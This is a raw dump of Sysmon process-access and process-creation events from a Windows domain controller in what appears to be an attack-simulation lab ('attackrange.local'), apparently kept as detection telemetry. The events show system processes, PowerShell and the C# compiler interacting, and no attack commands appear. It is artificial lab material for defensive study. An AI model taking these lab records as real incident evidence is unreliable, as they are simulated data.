09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004165Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004164Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004163Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291F-5F80-D600-000000007F01}2720C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004162Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-291E-5F80-D500-000000007F01}42244236C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-291F-5F80-D600-000000007F01}2720C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004161Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.072{A5F018FF-291F-5F80-D600-000000007F01}2720C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES91AC.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCA8ADEB8B916D42E8A7C4F0103F6F3646.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-291E-5F80-D500-000000007F01}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4h2nbodw.cmdline" 10341000x80000000000000004300Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.859{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004299Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.859{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004298Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.859{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004297Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.859{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004296Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.859{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004295Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.844{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004294Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.485{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004293Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.485{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004292Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.453{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_1zainzr1.rjj.ps12020-10-09 09:10:56.453 10341000x80000000000000004291Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.438{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004290Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004289Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-291F-5F80-D700-000000007F01}44244112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1f3fffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b42a7|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b452d|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3ed3|UNKNOWN(00007FFAA915C2C3) 10341000x80000000000000004288Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004287Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004286Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004285Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004284Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004283Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004282Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 